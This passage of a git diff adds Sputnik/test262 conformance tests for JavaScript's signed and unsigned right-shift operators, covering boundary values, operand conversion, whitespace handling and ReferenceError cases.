+if (16777215 >> 29 !== 0) {
+ $ERROR('#953: 16777215 >> 29 === 0. Actual: ' + (16777215 >> 29));
+}
+
+
+if (33554431 >> 29 !== 0) {
+ $ERROR('#954: 33554431 >> 29 === 0. Actual: ' + (33554431 >> 29));
+}
+
+
+if (67108863 >> 29 !== 0) {
+ $ERROR('#955: 67108863 >> 29 === 0. Actual: ' + (67108863 >> 29));
+}
+
+
+if (134217727 >> 29 !== 0) {
+ $ERROR('#956: 134217727 >> 29 === 0. Actual: ' + (134217727 >> 29));
+}
+
+
+if (268435455 >> 29 !== 0) {
+ $ERROR('#957: 268435455 >> 29 === 0. Actual: ' + (268435455 >> 29));
+}
+
+
+if (536870911 >> 29 !== 0) {
+ $ERROR('#958: 536870911 >> 29 === 0. Actual: ' + (536870911 >> 29));
+}
+
+
+if (1073741823 >> 29 !== 1) {
+ $ERROR('#959: 1073741823 >> 29 === 1. Actual: ' + (1073741823 >> 29));
+}
+
+
+if (2147483647 >> 29 !== 3) {
+ $ERROR('#960: 2147483647 >> 29 === 3. Actual: ' + (2147483647 >> 29));
+}
+
+
+if (0 >> 30 !== 0) {
+ $ERROR('#961: 0 >> 30 === 0. Actual: ' + (0 >> 30));
+}
+
+
+if (1 >> 30 !== 0) {
+ $ERROR('#962: 1 >> 30 === 0. Actual: ' + (1 >> 30));
+}
+
+
+if (3 >> 30 !== 0) {
+ $ERROR('#963: 3 >> 30 === 0. Actual: ' + (3 >> 30));
+}
+
+
+if (7 >> 30 !== 0) {
+ $ERROR('#964: 7 >> 30 === 0. Actual: ' + (7 >> 30));
+}
+
+
+if (15 >> 30 !== 0) {
+ $ERROR('#965: 15 >> 30 === 0. Actual: ' + (15 >> 30));
+}
+
+
+if (31 >> 30 !== 0) {
+ $ERROR('#966: 31 >> 30 === 0. Actual: ' + (31 >> 30));
+}
+
+
+if (63 >> 30 !== 0) {
+ $ERROR('#967: 63 >> 30 === 0. Actual: ' + (63 >> 30));
+}
+
+
+if (127 >> 30 !== 0) {
+ $ERROR('#968: 127 >> 30 === 0. Actual: ' + (127 >> 30));
+}
+
+
+if (255 >> 30 !== 0) {
+ $ERROR('#969: 255 >> 30 === 0. Actual: ' + (255 >> 30));
+}
+
+
+if (511 >> 30 !== 0) {
+ $ERROR('#970: 511 >> 30 === 0. Actual: ' + (511 >> 30));
+}
+
+
+if (1023 >> 30 !== 0) {
+ $ERROR('#971: 1023 >> 30 === 0. Actual: ' + (1023 >> 30));
+}
+
+
+if (2047 >> 30 !== 0) {
+ $ERROR('#972: 2047 >> 30 === 0. Actual: ' + (2047 >> 30));
+}
+
+
+if (4095 >> 30 !== 0) {
+ $ERROR('#973: 4095 >> 30 === 0. Actual: ' + (4095 >> 30));
+}
+
+
+if (8191 >> 30 !== 0) {
+ $ERROR('#974: 8191 >> 30 === 0. Actual: ' + (8191 >> 30));
+}
+
+
+if (16383 >> 30 !== 0) {
+ $ERROR('#975: 16383 >> 30 === 0. Actual: ' + (16383 >> 30));
+}
+
+
+if (32767 >> 30 !== 0) {
+ $ERROR('#976: 32767 >> 30 === 0. Actual: ' + (32767 >> 30));
+}
+
+
+if (65535 >> 30 !== 0) {
+ $ERROR('#977: 65535 >> 30 === 0. Actual: ' + (65535 >> 30));
+}
+
+
+if (131071 >> 30 !== 0) {
+ $ERROR('#978: 131071 >> 30 === 0. Actual: ' + (131071 >> 30));
+}
+
+
+if (262143 >> 30 !== 0) {
+ $ERROR('#979: 262143 >> 30 === 0. Actual: ' + (262143 >> 30));
+}
+
+
+if (524287 >> 30 !== 0) {
+ $ERROR('#980: 524287 >> 30 === 0. Actual: ' + (524287 >> 30));
+}
+
+
+if (1048575 >> 30 !== 0) {
+ $ERROR('#981: 1048575 >> 30 === 0. Actual: ' + (1048575 >> 30));
+}
+
+
+if (2097151 >> 30 !== 0) {
+ $ERROR('#982: 2097151 >> 30 === 0. Actual: ' + (2097151 >> 30));
+}
+
+
+if (4194303 >> 30 !== 0) {
+ $ERROR('#983: 4194303 >> 30 === 0. Actual: ' + (4194303 >> 30));
+}
+
+
+if (8388607 >> 30 !== 0) {
+ $ERROR('#984: 8388607 >> 30 === 0. Actual: ' + (8388607 >> 30));
+}
+
+
+if (16777215 >> 30 !== 0) {
+ $ERROR('#985: 16777215 >> 30 === 0. Actual: ' + (16777215 >> 30));
+}
+
+
+if (33554431 >> 30 !== 0) {
+ $ERROR('#986: 33554431 >> 30 === 0. Actual: ' + (33554431 >> 30));
+}
+
+
+if (67108863 >> 30 !== 0) {
+ $ERROR('#987: 67108863 >> 30 === 0. Actual: ' + (67108863 >> 30));
+}
+
+
+if (134217727 >> 30 !== 0) {
+ $ERROR('#988: 134217727 >> 30 === 0. Actual: ' + (134217727 >> 30));
+}
+
+
+if (268435455 >> 30 !== 0) {
+ $ERROR('#989: 268435455 >> 30 === 0. Actual: ' + (268435455 >> 30));
+}
+
+
+if (536870911 >> 30 !== 0) {
+ $ERROR('#990: 536870911 >> 30 === 0. Actual: ' + (536870911 >> 30));
+}
+
+
+if (1073741823 >> 30 !== 0) {
+ $ERROR('#991: 1073741823 >> 30 === 0. Actual: ' + (1073741823 >> 30));
+}
+
+
+if (2147483647 >> 30 !== 1) {
+ $ERROR('#992: 2147483647 >> 30 === 1. Actual: ' + (2147483647 >> 30));
+}
+
+
+if (0 >> 31 !== 0) {
+ $ERROR('#993: 0 >> 31 === 0. Actual: ' + (0 >> 31));
+}
+
+
+if (1 >> 31 !== 0) {
+ $ERROR('#994: 1 >> 31 === 0. Actual: ' + (1 >> 31));
+}
+
+
+if (3 >> 31 !== 0) {
+ $ERROR('#995: 3 >> 31 === 0. Actual: ' + (3 >> 31));
+}
+
+
+if (7 >> 31 !== 0) {
+ $ERROR('#996: 7 >> 31 === 0. Actual: ' + (7 >> 31));
+}
+
+
+if (15 >> 31 !== 0) {
+ $ERROR('#997: 15 >> 31 === 0. Actual: ' + (15 >> 31));
+}
+
+
+if (31 >> 31 !== 0) {
+ $ERROR('#998: 31 >> 31 === 0. Actual: ' + (31 >> 31));
+}
+
+
+if (63 >> 31 !== 0) {
+ $ERROR('#999: 63 >> 31 === 0. Actual: ' + (63 >> 31));
+}
+
+
+if (127 >> 31 !== 0) {
+ $ERROR('#1000: 127 >> 31 === 0. Actual: ' + (127 >> 31));
+}
+
+
+if (255 >> 31 !== 0) {
+ $ERROR('#1001: 255 >> 31 === 0. Actual: ' + (255 >> 31));
+}
+
+
+if (511 >> 31 !== 0) {
+ $ERROR('#1002: 511 >> 31 === 0. Actual: ' + (511 >> 31));
+}
+
+
+if (1023 >> 31 !== 0) {
+ $ERROR('#1003: 1023 >> 31 === 0. Actual: ' + (1023 >> 31));
+}
+
+
+if (2047 >> 31 !== 0) {
+ $ERROR('#1004: 2047 >> 31 === 0. Actual: ' + (2047 >> 31));
+}
+
+
+if (4095 >> 31 !== 0) {
+ $ERROR('#1005: 4095 >> 31 === 0. Actual: ' + (4095 >> 31));
+}
+
+
+if (8191 >> 31 !== 0) {
+ $ERROR('#1006: 8191 >> 31 === 0. Actual: ' + (8191 >> 31));
+}
+
+
+if (16383 >> 31 !== 0) {
+ $ERROR('#1007: 16383 >> 31 === 0. Actual: ' + (16383 >> 31));
+}
+
+
+if (32767 >> 31 !== 0) {
+ $ERROR('#1008: 32767 >> 31 === 0. Actual: ' + (32767 >> 31));
+}
+
+
+if (65535 >> 31 !== 0) {
+ $ERROR('#1009: 65535 >> 31 === 0. Actual: ' + (65535 >> 31));
+}
+
+
+if (131071 >> 31 !== 0) {
+ $ERROR('#1010: 131071 >> 31 === 0. Actual: ' + (131071 >> 31));
+}
+
+
+if (262143 >> 31 !== 0) {
+ $ERROR('#1011: 262143 >> 31 === 0. Actual: ' + (262143 >> 31));
+}
+
+
+if (524287 >> 31 !== 0) {
+ $ERROR('#1012: 524287 >> 31 === 0. Actual: ' + (524287 >> 31));
+}
+
+
+if (1048575 >> 31 !== 0) {
+ $ERROR('#1013: 1048575 >> 31 === 0. Actual: ' + (1048575 >> 31));
+}
+
+
+if (2097151 >> 31 !== 0) {
+ $ERROR('#1014: 2097151 >> 31 === 0. Actual: ' + (2097151 >> 31));
+}
+
+
+if (4194303 >> 31 !== 0) {
+ $ERROR('#1015: 4194303 >> 31 === 0. Actual: ' + (4194303 >> 31));
+}
+
+
+if (8388607 >> 31 !== 0) {
+ $ERROR('#1016: 8388607 >> 31 === 0. Actual: ' + (8388607 >> 31));
+}
+
+
+if (16777215 >> 31 !== 0) {
+ $ERROR('#1017: 16777215 >> 31 === 0. Actual: ' + (16777215 >> 31));
+}
+
+
+if (33554431 >> 31 !== 0) {
+ $ERROR('#1018: 33554431 >> 31 === 0. Actual: ' + (33554431 >> 31));
+}
+
+
+if (67108863 >> 31 !== 0) {
+ $ERROR('#1019: 67108863 >> 31 === 0. Actual: ' + (67108863 >> 31));
+}
+
+
+if (134217727 >> 31 !== 0) {
+ $ERROR('#1020: 134217727 >> 31 === 0. Actual: ' + (134217727 >> 31));
+}
+
+
+if (268435455 >> 31 !== 0) {
+ $ERROR('#1021: 268435455 >> 31 === 0. Actual: ' + (268435455 >> 31));
+}
+
+
+if (536870911 >> 31 !== 0) {
+ $ERROR('#1022: 536870911 >> 31 === 0. Actual: ' + (536870911 >> 31));
+}
+
+
+if (1073741823 >> 31 !== 0) {
+ $ERROR('#1023: 1073741823 >> 31 === 0. Actual: ' + (1073741823 >> 31));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.1_T1.js
new file mode 100644
index 000000000..aa732c311
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses ToInt32(ShiftExpression)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A5.1_T1.js
+ * @description Checking boundary points
+ */
+
+//CHECK#1
+if (2147483648.1 >> 0 !== -2147483648) {
+ $ERROR('#1: 2147483648.1 >> 0 === -2147483648. Actual: ' + (2147483648.1 >> 0));
+}
+
+//CHECK#2
+if (4294967296.1 >> 0 !== 0) {
+ $ERROR('#2: 4294967296.1 >> 0 === 0. Actual: ' + (4294967296.1 >> 0));
+}
+
+//CHECK#3
+if (6442450944.1 >> 0 !== -2147483648) {
+ $ERROR('#3: 6442450944.1 >> 0 === -2147483648. Actual: ' + (6442450944.1 >> 0));
+}
+
+//CHECK#4
+if (4294967295.1 >> 0 !== -1) {
+ $ERROR('#4: 4294967295.1 >> 0 === -1. Actual: ' + (4294967295.1 >> 0));
+}
+
+//CHECK#5
+if (6442450943.1 >> 0 !== 2147483647) {
+ $ERROR('#5: 6442450943.1 >> 0 === 2147483647. Actual: ' + (6442450943.1 >> 0));
+}
+
+//CHECK#6
+if (-2147483649.1 >> 0 !== 2147483647) {
+ $ERROR('#6: -2147483649.1 >> 0 === 2147483647. Actual: ' + (-2147483649.1 >> 0));
+}
+
+//CHECK#7
+if (-4294967297.1 >> 0 !== -1) {
+ $ERROR('#7: -4294967297.1 >> 0 === -1. Actual: ' + (-4294967297.1 >> 0));
+}
+
+//CHECK#8
+if (-6442450945.1 >> 0 !== 2147483647) {
+ $ERROR('#8: -6442450945.1 >> 0 === 2147483647. Actual: ' + (-6442450945.1 >> 0));
+}
+
+//CHECK#9
+if (-4294967296.1 >> 0 !== 0) {
+ $ERROR('#9: -4294967296.1 >> 0 === 0 . Actual: ' + (-4294967296.1 >> 0));
+}
+
+//CHECK#10
+if (-6442450944.1 >> 0 !== -2147483648) {
+ $ERROR('#10: -6442450944.1 >> 0 === -2147483648. Actual: ' + (-6442450944.1 >> 0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.2_T1.js
new file mode 100644
index 000000000..64eca8df3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A5.2_T1.js
@@ -0,0 +1,330 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses ToUint32(AdditiveExpression) & 31
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A5.2_T1.js
+ * @description Checking distinct points
+ */
+
+//CHECK#1
+if (2147483647 >> -32.1 !== 2147483647) {
+ $ERROR('#1: 2147483647 >> -32.1 === 2147483647. Actual: ' + (2147483647 >> -32.1));
+}
+
+//CHECK#2
+if (2147483647 >> -31.1 !== 1073741823) {
+ $ERROR('#2: 2147483647 >> -31.1 === 1073741823. Actual: ' + (2147483647 >> -31.1));
+}
+
+//CHECK#3
+if (2147483647 >> -30.1 !== 536870911) {
+ $ERROR('#3: 2147483647 >> -30.1 === 536870911. Actual: ' + (2147483647 >> -30.1));
+}
+
+//CHECK#4
+if (2147483647 >> -29.1 !== 268435455) {
+ $ERROR('#4: 2147483647 >> -29.1 === 268435455. Actual: ' + (2147483647 >> -29.1));
+}
+
+//CHECK#5
+if (2147483647 >> -28.1 !== 134217727) {
+ $ERROR('#5: 2147483647 >> -28.1 === 134217727. Actual: ' + (2147483647 >> -28.1));
+}
+
+//CHECK#6
+if (2147483647 >> -27.1 !== 67108863) {
+ $ERROR('#6: 2147483647 >> -27.1 === 67108863. Actual: ' + (2147483647 >> -27.1));
+}
+
+//CHECK#7
+if (2147483647 >> -26.1 !== 33554431) {
+ $ERROR('#7: 2147483647 >> -26.1 === 33554431. Actual: ' + (2147483647 >> -26.1));
+}
+
+//CHECK#8
+if (2147483647 >> -25.1 !== 16777215) {
+ $ERROR('#8: 2147483647 >> -25.1 === 16777215. Actual: ' + (2147483647 >> -25.1));
+}
+
+//CHECK#9
+if (2147483647 >> -24.1 !== 8388607) {
+ $ERROR('#9: 2147483647 >> -24.1 === 8388607. Actual: ' + (2147483647 >> -24.1));
+}
+
+//CHECK#10
+if (2147483647 >> -23.1 !== 4194303) {
+ $ERROR('#10: 2147483647 >> -23.1 === 4194303. Actual: ' + (2147483647 >> -23.1));
+}
+
+//CHECK#11
+if (2147483647 >> -22.1 !== 2097151) {
+ $ERROR('#11: 2147483647 >> -22.1 === 2097151. Actual: ' + (2147483647 >> -22.1));
+}
+
+//CHECK#12
+if (2147483647 >> -21.1 !== 1048575) {
+ $ERROR('#12: 2147483647 >> -21.1 === 1048575. Actual: ' + (2147483647 >> -21.1));
+}
+
+//CHECK#13
+if (2147483647 >> -20.1 !== 524287) {
+ $ERROR('#13: 2147483647 >> -20.1 === 524287. Actual: ' + (2147483647 >> -20.1));
+}
+
+//CHECK#14
+if (2147483647 >> -19.1 !== 262143) {
+ $ERROR('#14: 2147483647 >> -19.1 === 262143. Actual: ' + (2147483647 >> -19.1));
+}
+
+//CHECK#15
+if (2147483647 >> -18.1 !== 131071) {
+ $ERROR('#15: 2147483647 >> -18.1 === 131071. Actual: ' + (2147483647 >> -18.1));
+}
+
+//CHECK#16
+if (2147483647 >> -17.1 !== 65535) {
+ $ERROR('#16: 2147483647 >> -17.1 === 65535. Actual: ' + (2147483647 >> -17.1));
+}
+
+//CHECK#17
+if (2147483647 >> -16.1 !== 32767) {
+ $ERROR('#17: 2147483647 >> -16.1 === 32767. Actual: ' + (2147483647 >> -16.1));
+}
+
+//CHECK#18
+if (2147483647 >> -15.1 !== 16383) {
+ $ERROR('#18: 2147483647 >> -15.1 === 16383. Actual: ' + (2147483647 >> -15.1));
+}
+
+//CHECK#19
+if (2147483647 >> -14.1 !== 8191) {
+ $ERROR('#19: 2147483647 >> -14.1 === 8191. Actual: ' + (2147483647 >> -14.1));
+}
+
+//CHECK#20
+if (2147483647 >> -13.1 !== 4095) {
+ $ERROR('#20: 2147483647 >> -13.1 === 4095. Actual: ' + (2147483647 >> -13.1));
+}
+
+//CHECK#21
+if (2147483647 >> -12.1 !== 2047) {
+ $ERROR('#21: 2147483647 >> -12.1 === 2047. Actual: ' + (2147483647 >> -12.1));
+}
+
+//CHECK#22
+if (2147483647 >> -11.1 !== 1023) {
+ $ERROR('#22: 2147483647 >> -11.1 === 1023. Actual: ' + (2147483647 >> -11.1));
+}
+
+//CHECK#23
+if (2147483647 >> -10.1 !== 511) {
+ $ERROR('#23: 2147483647 >> -10.1 === 511. Actual: ' + (2147483647 >> -10.1));
+}
+
+//CHECK#24
+if (2147483647 >> -9.1 !== 255) {
+ $ERROR('#24: 2147483647 >> -9.1 === 255. Actual: ' + (2147483647 >> -9.1));
+}
+
+//CHECK#25
+if (2147483647 >> -8.1 !== 127) {
+ $ERROR('#25: 2147483647 >> -8.1 === 127. Actual: ' + (2147483647 >> -8.1));
+}
+
+//CHECK#26
+if (2147483647 >> -7.1 !== 63) {
+ $ERROR('#26: 2147483647 >> -7.1 === 63. Actual: ' + (2147483647 >> -7.1));
+}
+
+//CHECK#27
+if (2147483647 >> -6.1 !== 31) {
+ $ERROR('#27: 2147483647 >> -6.1 === 31. Actual: ' + (2147483647 >> -6.1));
+}
+
+//CHECK#28
+if (2147483647 >> -5.1 !== 15) {
+ $ERROR('#28: 2147483647 >> -5.1 === 15. Actual: ' + (2147483647 >> -5.1));
+}
+
+//CHECK#29
+if (2147483647 >> -4.1 !== 7) {
+ $ERROR('#29: 2147483647 >> -4.1 === 7. Actual: ' + (2147483647 >> -4.1));
+}
+
+//CHECK#30
+if (2147483647 >> -3.1 !== 3) {
+ $ERROR('#30: 2147483647 >> -3.1 === 3. Actual: ' + (2147483647 >> -3.1));
+}
+
+//CHECK#31
+if (2147483647 >> -2.1 !== 1) {
+ $ERROR('#31: 2147483647 >> -2.1 === 1. Actual: ' + (2147483647 >> -2.1));
+}
+
+//CHECK#32
+if (2147483647 >> -1.1 !== 0) {
+ $ERROR('#32: 2147483647 >> -1.1 === 0. Actual: ' + (2147483647 >> -1.1));
+}
+
+//CHECK#33
+if (2147483647 >> 32.1 !== 2147483647) {
+ $ERROR('#33: 2147483647 >> 32.1 === 2147483647. Actual: ' + (2147483647 >> 32.1));
+}
+
+//CHECK#34
+if (2147483647 >> 33.1 !== 1073741823) {
+ $ERROR('#34: 2147483647 >> 33.1 === 1073741823. Actual: ' + (2147483647 >> 33.1));
+}
+
+//CHECK#35
+if (2147483647 >> 34.1 !== 536870911) {
+ $ERROR('#35: 2147483647 >> 34.1 === 536870911. Actual: ' + (2147483647 >> 34.1));
+}
+
+//CHECK#36
+if (2147483647 >> 35.1 !== 268435455) {
+ $ERROR('#36: 2147483647 >> 35.1 === 268435455. Actual: ' + (2147483647 >> 35.1));
+}
+
+//CHECK#37
+if (2147483647 >> 36.1 !== 134217727) {
+ $ERROR('#37: 2147483647 >> 36.1 === 134217727. Actual: ' + (2147483647 >> 36.1));
+}
+
+//CHECK#38
+if (2147483647 >> 37.1 !== 67108863) {
+ $ERROR('#38: 2147483647 >> 37.1 === 67108863. Actual: ' + (2147483647 >> 37.1));
+}
+
+//CHECK#39
+if (2147483647 >> 38.1 !== 33554431) {
+ $ERROR('#39: 2147483647 >> 38.1 === 33554431. Actual: ' + (2147483647 >> 38.1));
+}
+
+//CHECK#40
+if (2147483647 >> 39.1 !== 16777215) {
+ $ERROR('#40: 2147483647 >> 39.1 === 16777215. Actual: ' + (2147483647 >> 39.1));
+}
+
+//CHECK#41
+if (2147483647 >> 40.1 !== 8388607) {
+ $ERROR('#41: 2147483647 >> 40.1 === 8388607. Actual: ' + (2147483647 >> 40.1));
+}
+
+//CHECK#42
+if (2147483647 >> 41.1 !== 4194303) {
+ $ERROR('#42: 2147483647 >> 41.1 === 4194303. Actual: ' + (2147483647 >> 41.1));
+}
+
+//CHECK#43
+if (2147483647 >> 42.1 !== 2097151) {
+ $ERROR('#43: 2147483647 >> 42.1 === 2097151. Actual: ' + (2147483647 >> 42.1));
+}
+
+//CHECK#44
+if (2147483647 >> 43.1 !== 1048575) {
+ $ERROR('#44: 2147483647 >> 43.1 === 1048575. Actual: ' + (2147483647 >> 43.1));
+}
+
+//CHECK#45
+if (2147483647 >> 44.1 !== 524287) {
+ $ERROR('#45: 2147483647 >> 44.1 === 524287. Actual: ' + (2147483647 >> 44.1));
+}
+
+//CHECK#46
+if (2147483647 >> 45.1 !== 262143) {
+ $ERROR('#46: 2147483647 >> 45.1 === 262143. Actual: ' + (2147483647 >> 45.1));
+}
+
+//CHECK#47
+if (2147483647 >> 46.1 !== 131071) {
+ $ERROR('#47: 2147483647 >> 46.1 === 131071. Actual: ' + (2147483647 >> 46.1));
+}
+
+//CHECK#48
+if (2147483647 >> 47.1 !== 65535) {
+ $ERROR('#48: 2147483647 >> 47.1 === 65535. Actual: ' + (2147483647 >> 47.1));
+}
+
+//CHECK#49
+if (2147483647 >> 48.1 !== 32767) {
+ $ERROR('#49: 2147483647 >> 48.1 === 32767. Actual: ' + (2147483647 >> 48.1));
+}
+
+//CHECK#50
+if (2147483647 >> 49.1 !== 16383) {
+ $ERROR('#50: 2147483647 >> 49.1 === 16383. Actual: ' + (2147483647 >> 49.1));
+}
+
+//CHECK#51
+if (2147483647 >> 50.1 !== 8191) {
+ $ERROR('#51: 2147483647 >> 50.1 === 8191. Actual: ' + (2147483647 >> 50.1));
+}
+
+//CHECK#52
+if (2147483647 >> 51.1 !== 4095) {
+ $ERROR('#52: 2147483647 >> 51.1 === 4095. Actual: ' + (2147483647 >> 51.1));
+}
+
+//CHECK#53
+if (2147483647 >> 52.1 !== 2047) {
+ $ERROR('#53: 2147483647 >> 52.1 === 2047. Actual: ' + (2147483647 >> 52.1));
+}
+
+//CHECK#54
+if (2147483647 >> 53.1 !== 1023) {
+ $ERROR('#54: 2147483647 >> 53.1 === 1023. Actual: ' + (2147483647 >> 53.1));
+}
+
+//CHECK#55
+if (2147483647 >> 54.1 !== 511) {
+ $ERROR('#55: 2147483647 >> 54.1 === 511. Actual: ' + (2147483647 >> 54.1));
+}
+
+//CHECK#56
+if (2147483647 >> 55.1 !== 255) {
+ $ERROR('#56: 2147483647 >> 55.1 === 255. Actual: ' + (2147483647 >> 55.1));
+}
+
+//CHECK#57
+if (2147483647 >> 56.1 !== 127) {
+ $ERROR('#57: 2147483647 >> 56.1 === 127. Actual: ' + (2147483647 >> 56.1));
+}
+
+//CHECK#58
+if (2147483647 >> 57.1 !== 63) {
+ $ERROR('#58: 2147483647 >> 57.1 === 63. Actual: ' + (2147483647 >> 57.1));
+}
+
+//CHECK#59
+if (2147483647 >> 58.1 !== 31) {
+ $ERROR('#59: 2147483647 >> 58.1 === 31. Actual: ' + (2147483647 >> 58.1));
+}
+
+//CHECK#60
+if (2147483647 >> 59.1 !== 15) {
+ $ERROR('#60: 2147483647 >> 59.1 === 15. Actual: ' + (2147483647 >> 59.1));
+}
+
+//CHECK#61
+if (2147483647 >> 60.1 !== 7) {
+ $ERROR('#61: 2147483647 >> 60.1 === 7. Actual: ' + (2147483647 >> 60.1));
+}
+
+//CHECK#62
+if (2147483647 >> 61.1 !== 3) {
+ $ERROR('#62: 2147483647 >> 61.1 === 3. Actual: ' + (2147483647 >> 61.1));
+}
+
+//CHECK#63
+if (2147483647 >> 62.1 !== 1) {
+ $ERROR('#63: 2147483647 >> 62.1 === 1. Actual: ' + (2147483647 >> 62.1));
+}
+
+//CHECK#64
+if (2147483647 >> 63.1 !== 0) {
+ $ERROR('#64: 2147483647 >> 63.1 === 0. Actual: ' + (2147483647 >> 63.1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/browser.js b/js/src/tests/test262/ch11/11.7/11.7.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/shell.js b/js/src/tests/test262/ch11/11.7/11.7.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A1.js
new file mode 100644
index 000000000..58906e8fb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between ShiftExpression and ">>>" or between ">>>" and AdditiveExpression are allowed
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("-4\u0009>>>\u00091") !== 2147483646) {
+ $ERROR('#1: -4\\u0009>>>\\u00091 === 2147483646');
+}
+
+//CHECK#2
+if (eval("-4\u000B>>>\u000B1") !== 2147483646) {
+ $ERROR('#2: -4\\u000B>>>\\u000B1 === 2147483646');
+}
+
+//CHECK#3
+if (eval("-4\u000C>>>\u000C1") !== 2147483646) {
+ $ERROR('#3: -4\\u000C>>>\\u000C1 === 2147483646');
+}
+
+//CHECK#4
+if (eval("-4\u0020>>>\u00201") !== 2147483646) {
+ $ERROR('#4: -4\\u0020>>>\\u00201 === 2147483646');
+}
+
+//CHECK#5
+if (eval("-4\u00A0>>>\u00A01") !== 2147483646) {
+ $ERROR('#5: -4\\u00A0>>>\\u00A01 === 2147483646');
+}
+
+//CHECK#6
+if (eval("-4\u000A>>>\u000A1") !== 2147483646) {
+ $ERROR('#6: -4\\u000A>>>\\u000A1 === 2147483646');
+}
+
+//CHECK#7
+if (eval("-4\u000D>>>\u000D1") !== 2147483646) {
+ $ERROR('#7: -4\\u000D>>>\\u000D1 === 2147483646');
+}
+
+//CHECK#8
+if (eval("-4\u2028>>>\u20281") !== 2147483646) {
+ $ERROR('#8: -4\\u2028>>>\\u20281 === 2147483646');
+}
+
+//CHECK#9
+if (eval("-4\u2029>>>\u20291") !== 2147483646) {
+ $ERROR('#9: -4\\u2029>>>\\u20291 === 2147483646');
+}
+
+//CHECK#10
+if (eval("-4\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>>>\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 2147483646) {
+ $ERROR('#10: -4\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>>>\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 2147483646');
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T1.js
new file mode 100644
index 000000000..e153a762e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (-4 >>> 1 !== 2147483646) {
+ $ERROR('#1: -4 >>> 1 === 2147483646. Actual: ' + (-4 >>> 1));
+}
+
+//CHECK#2
+var x = -4;
+if (x >>> 1 !== 2147483646) {
+ $ERROR('#2: var x = -4; x >>> 1 === 2147483646. Actual: ' + (x >>> 1));
+}
+
+//CHECK#3
+var y = 1;
+if (-4 >>> y !== 2147483646) {
+ $ERROR('#3: var y = 1; -4 >>> y === 2147483646. Actual: ' + (-4 >>> y));
+}
+
+//CHECK#4
+var x = -4;
+var y = 1;
+if (x >>> y !== 2147483646) {
+ $ERROR('#4: var x = -4; var y = 1; x >>> y === 2147483646. Actual: ' + (x >>> y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = -4;
+objecty.prop = 1;
+if (objectx.prop >>> objecty.prop !== 2147483646) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = -4; objecty.prop = 1; objectx.prop >>> objecty.prop === 2147483646. Actual: ' + (objectx.prop >>> objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T2.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T2.js
new file mode 100644
index 000000000..cae3ab773
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x >>> 1;
+ $ERROR('#1.1: x >>> 1 throw ReferenceError. Actual: ' + (x >>> 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >>> 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T3.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T3.js
new file mode 100644
index 000000000..e682a064a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
